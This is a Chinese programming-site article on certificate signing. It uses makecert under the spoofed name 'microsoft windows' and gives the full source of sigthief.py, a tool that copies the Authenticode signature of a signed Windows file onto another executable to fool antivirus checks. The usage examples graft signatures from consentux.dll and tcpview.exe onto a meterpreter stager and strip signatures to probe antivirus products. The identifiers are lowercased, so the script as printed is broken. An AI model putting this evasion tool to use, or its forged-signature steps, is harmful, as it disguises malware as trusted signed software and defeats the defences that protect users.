欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

Python使用sigthief签发证书的实现步骤

程序员文章站 2022-07-05 19:19:12
目录伪造pe文件证书:证书制作工具下载: 制作并签发证书:正常情况下,针对exe签发证书有如下几个步骤.1.查询一个程序中存在的证书,可以使用下面三个命令。c:\> signtools get-...

证书制作工具下载:

制作并签发证书:

正常情况下,针对exe签发证书有如下几个步骤.

1.查询一个程序中存在的证书,可以使用下面三个命令。

c:\> signtools get-authenticodesignature c:\windows\system32\consentux.dll
c:\> signtools signtool.exe verify /v c:\windows\system32\consentux.dll
c:\> signtools sigcheck.exe -q c:\windows\system32\consentux.dll

2.使用makecert命令制作证书,sv-私钥文件名,ss-主题的证书存储名称,n-证书颁发对象,r-证书存储位置。

c:\> signtools makecert -n "cn=microsoft windows" -r -sv root.pvk root.cer
c:\> signtools cert2spc root.cer root.spc
c:\> signtools pvk2pfx -pvk root.pvk -pi 1233 -spc root.spc -pfx root.pfx -f

3.注册证书与签发证书。

c:\> signtools certmgr.exe -add -c root.cer -s -r localmachine root
c:\> signtools signtool sign /f root.pfx /p 1233 lyshark.exe

而如果要给powershell脚本添加证书,则执行如下命令即可.

1.生成证书文件

c:\> makecert -n "cn=microsoft windows" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer
c:\> cert2spc certtest.cer certtest.spc
c:\> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.给powershell脚本签名

c:\> powershell
c:\> $cert = get-pfxcertificate certtest.pfx
c:\> set-authenticodesignature -filepath lyshark.ps1 -cert $cert

伪造pe文件证书:

有些反病毒软件供应商优先考虑某些证书颁发机构而不检查签名是否真正有效,并且有一些只是检查以查看certtable是否填充了某些值。这个工具让你快速将从已签名的pe文件中删除签名并将其附加到另一个文件,修复证书表以对文件进行签名。

开源工具sigthief可用于伪造证书,将下方代码保存为sigthief.py即可:

import sys
import struct
import shutil
import io
from optparse import optionparser

def gather_file_info_win(binary):
        """
        borrowed from bdf...
        i could just skip to certloc... *shrug*
        """
        flitms = {}
        binary = open(binary, 'rb')
        binary.seek(int('3c', 16))
        flitms['buffer'] = 0
        flitms['jmptocodeaddress'] = 0
        flitms['dis_frm_pehdrs_sectble'] = 248
        flitms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
        # start of coff
        flitms['coff_start'] = flitms['pe_header_location'] + 4
        binary.seek(flitms['coff_start'])
        flitms['machinetype'] = struct.unpack('<h', binary.read(2))[0]
        binary.seek(flitms['coff_start'] + 2, 0)
        flitms['numberofsections'] = struct.unpack('<h', binary.read(2))[0]
        flitms['timedatestamp'] = struct.unpack('<i', binary.read(4))[0]
        binary.seek(flitms['coff_start'] + 16, 0)
        flitms['sizeofoptionalheader'] = struct.unpack('<h', binary.read(2))[0]
        flitms['characteristics'] = struct.unpack('<h', binary.read(2))[0]
        #end of coff
        flitms['optionalheader_start'] = flitms['coff_start'] + 20

        #if flitms['sizeofoptionalheader']:
            #begin standard fields section of optional header
        binary.seek(flitms['optionalheader_start'])
        flitms['magic'] = struct.unpack('<h', binary.read(2))[0]
        flitms['majorlinkerversion'] = struct.unpack("!b", binary.read(1))[0]
        flitms['minorlinkerversion'] = struct.unpack("!b", binary.read(1))[0]
        flitms['sizeofcode'] = struct.unpack("<i", binary.read(4))[0]
        flitms['sizeofinitializeddata'] = struct.unpack("<i", binary.read(4))[0]
        flitms['sizeofuninitializeddata'] = struct.unpack("<i",
                                                               binary.read(4))[0]
        flitms['addressofentrypoint'] = struct.unpack('<i', binary.read(4))[0]
        flitms['patchlocation'] = flitms['addressofentrypoint']
        flitms['baseofcode'] = struct.unpack('<i', binary.read(4))[0]
        if flitms['magic'] != 0x20b:
            flitms['baseofdata'] = struct.unpack('<i', binary.read(4))[0]
        # end standard fields section of optional header
        # begin windows-specific fields of optional header
        if flitms['magic'] == 0x20b:
            flitms['imagebase'] = struct.unpack('<q', binary.read(8))[0]
        else:
            flitms['imagebase'] = struct.unpack('<i', binary.read(4))[0]
        flitms['sectionalignment'] = struct.unpack('<i', binary.read(4))[0]
        flitms['filealignment'] = struct.unpack('<i', binary.read(4))[0]
        flitms['majoroperatingsystemversion'] = struct.unpack('<h',
                                                                   binary.read(2))[0]
        flitms['minoroperatingsystemversion'] = struct.unpack('<h',
                                                                   binary.read(2))[0]
        flitms['majorimageversion'] = struct.unpack('<h', binary.read(2))[0]
        flitms['minorimageversion'] = struct.unpack('<h', binary.read(2))[0]
        flitms['majorsubsystemversion'] = struct.unpack('<h', binary.read(2))[0]
        flitms['minorsubsystemversion'] = struct.unpack('<h', binary.read(2))[0]
        flitms['win32versionvalue'] = struct.unpack('<i', binary.read(4))[0]
        flitms['sizeofimageloc'] = binary.tell()
        flitms['sizeofimage'] = struct.unpack('<i', binary.read(4))[0]
        flitms['sizeofheaders'] = struct.unpack('<i', binary.read(4))[0]
        flitms['checksum'] = struct.unpack('<i', binary.read(4))[0]
        flitms['subsystem'] = struct.unpack('<h', binary.read(2))[0]
        flitms['dllcharacteristics'] = struct.unpack('<h', binary.read(2))[0]
        if flitms['magic'] == 0x20b:
            flitms['sizeofstackreserve'] = struct.unpack('<q', binary.read(8))[0]
            flitms['sizeofstackcommit'] = struct.unpack('<q', binary.read(8))[0]
            flitms['sizeofheapreserve'] = struct.unpack('<q', binary.read(8))[0]
            flitms['sizeofheapcommit'] = struct.unpack('<q', binary.read(8))[0]

        else:
            flitms['sizeofstackreserve'] = struct.unpack('<i', binary.read(4))[0]
            flitms['sizeofstackcommit'] = struct.unpack('<i', binary.read(4))[0]
            flitms['sizeofheapreserve'] = struct.unpack('<i', binary.read(4))[0]
            flitms['sizeofheapcommit'] = struct.unpack('<i', binary.read(4))[0]
        flitms['loaderflags'] = struct.unpack('<i', binary.read(4))[0]  # zero
        flitms['numberofrvaandsizes'] = struct.unpack('<i', binary.read(4))[0]
        # end windows-specific fields of optional header
        # begin data directories of optional header
        flitms['exporttablerva'] = struct.unpack('<i', binary.read(4))[0]
        flitms['exporttablesize'] = struct.unpack('<i', binary.read(4))[0]
        flitms['importtablelocinpeopthdrs'] = binary.tell()
        #importtable size|loc
        flitms['importtablerva'] = struct.unpack('<i', binary.read(4))[0]
        flitms['importtablesize'] = struct.unpack('<i', binary.read(4))[0]
        flitms['resourcetable'] = struct.unpack('<q', binary.read(8))[0]
        flitms['exceptiontable'] = struct.unpack('<q', binary.read(8))[0]
        flitms['certtableloc'] = binary.tell()
        flitms['certloc'] = struct.unpack("<i", binary.read(4))[0]
        flitms['certsize'] = struct.unpack("<i", binary.read(4))[0]
        binary.close()
        return flitms


def copycert(exe):
    flitms = gather_file_info_win(exe)

    if flitms['certloc'] == 0 or flitms['certsize'] == 0:
        # not signed
        print("input file not signed!")
        sys.exit(-1)

    with open(exe, 'rb') as f:
        f.seek(flitms['certloc'], 0)
        cert = f.read(flitms['certsize'])
    return cert


def writecert(cert, exe, output):
    flitms = gather_file_info_win(exe)
    
    if not output: 
        output = output = str(exe) + "_signed"

    shutil.copy2(exe, output)
    
    print("output file: {0}".format(output))

    with open(exe, 'rb') as g:
        with open(output, 'wb') as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flitms['certtableloc'], 0)
            f.write(struct.pack("<i", len(open(exe, 'rb').read())))
            f.write(struct.pack("<i", len(cert)))
            f.seek(0, io.seek_end)
            f.write(cert)

    print("signature appended. \nfin.")

def outputcert(exe, output):
    cert = copycert(exe)
    if not output:
        output = str(exe) + "_sig"

    print("output file: {0}".format(output))

    open(output, 'wb').write(cert)

    print("signature ripped. \nfin.")


def check_sig(exe):
    flitms = gather_file_info_win(exe)
 
    if flitms['certloc'] == 0 or flitms['certsize'] == 0:
        # not signed
        print("inputfile not signed!")
    else:
        print("inputfile is signed!")


def truncate(exe, output):
    flitms = gather_file_info_win(exe)
 
    if flitms['certloc'] == 0 or flitms['certsize'] == 0:
        # not signed
        print("inputfile not signed!")
        sys.exit(-1)
    else:
        print( "inputfile is signed!")

    if not output:
        output = str(exe) + "_nosig"

    print("output file: {0}".format(output))

    shutil.copy2(exe, output)

    with open(output, "r+b") as binary:
        print('overwriting certificate table pointer and truncating binary')
        binary.seek(-flitms['certsize'], io.seek_end)
        binary.truncate()
        binary.seek(flitms['certtableloc'], 0)
        binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")

    print("signature removed. \nfin.")


def signfile(exe, sigfile, output):
    flitms = gather_file_info_win(exe)
    
    cert = open(sigfile, 'rb').read()

    if not output: 
        output = output = str(exe) + "_signed"

    shutil.copy2(exe, output)
    
    print("output file: {0}".format(output))
    
    with open(exe, 'rb') as g:
        with open(output, 'wb') as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flitms['certtableloc'], 0)
            f.write(struct.pack("<i", len(open(exe, 'rb').read())))
            f.write(struct.pack("<i", len(cert)))
            f.seek(0, io.seek_end)
            f.write(cert)
    print("signature appended. \nfin.")


if __name__ == "__main__":
    usage = 'usage: %prog [options]'
    parser = optionparser()
    parser.add_option("-i", "--file", dest="inputfile", 
                  help="input file", metavar="file")
    parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
                  help='rip signature off inputfile')
    parser.add_option('-a', '--add', dest='addsig', action='store_true',
                  help='add signautre to targetfile')
    parser.add_option('-o', '--output', dest='outputfile',
                  help='output file')
    parser.add_option('-s', '--sig', dest='sigfile',
                  help='binary signature from disk')
    parser.add_option('-t', '--target', dest='targetfile',
                  help='file to append signature to')
    parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
                  help='file to check if signed; does not verify signature')
    parser.add_option('-t', '--truncate', dest="truncate", action='store_true',
                  help='truncate signature (i.e. remove sig)')
    (options, args) = parser.parse_args()
    
    # rip signature
    # inputfile and rip to outputfile
    if options.inputfile and options.ripsig:
        print("ripping signature to file!")
        outputcert(options.inputfile, options.outputfile)
        sys.exit()    

    # copy from one to another
    # inputfile and rip to targetfile to outputfile    
    if options.inputfile and options.targetfile:
        cert = copycert(options.inputfile)
        writecert(cert, options.targetfile, options.outputfile)
        sys.exit()

    # check signature
    # inputfile 
    if options.inputfile and options.checksig:
        check_sig(options.inputfile) 
        sys.exit()

    # add sig to target file
    if options.targetfile and options.sigfile:
        signfile(options.targetfile, options.sigfile, options.outputfile)
        sys.exit()
        
    # truncate
    if options.inputfile and options.truncate:
        truncate(options.inputfile, options.outputfile)
        sys.exit()

    parser.print_help()
    parser.error("you must do something!")

我们需要找一个带有证书的文件,然后通过使用sigthief.py完成证书的克隆。此处就拿系统中的consentux.dll演示。

c:\> python sigthief.py -i consentux.dll -t lyshark.exe -o check.exe
output file: check.exe
signature appended.
fin.

也可以从二进制文件中获取签名并将其添加到另一个二进制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe 
output file: /tmp/msftesting_tcpview.exe
signature appended. 
fin.

将签名保存到磁盘以供以后使用,提供了一个转存功能。

$ ./sigthief.py -i tcpview.exe -r                                                        
ripping signature to file!
output file: tcpview.exe_sig
signature ripped. 
fin.
```bash
使用翻录签名
```bash
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe                               
output file: x86_meterpreter_stager.exe_signed
signature appended. 
fin.
```bash
截断(删除)签名 这实际上有非常有趣的结果,可以帮助您找到重视代码功能签名的av)
```bash
$ ./sigthief.py -i tcpview.exe -t    
inputfile is signed!
output file: tcpview.exe_nosig
overwriting certificate table pointer and truncating binary
signature removed. 
fin.

文章出处:

以上就是python使用sigthief签发证书的实现步骤的详细内容,更多关于python使用sigthief签发证书的资料请关注其它相关文章!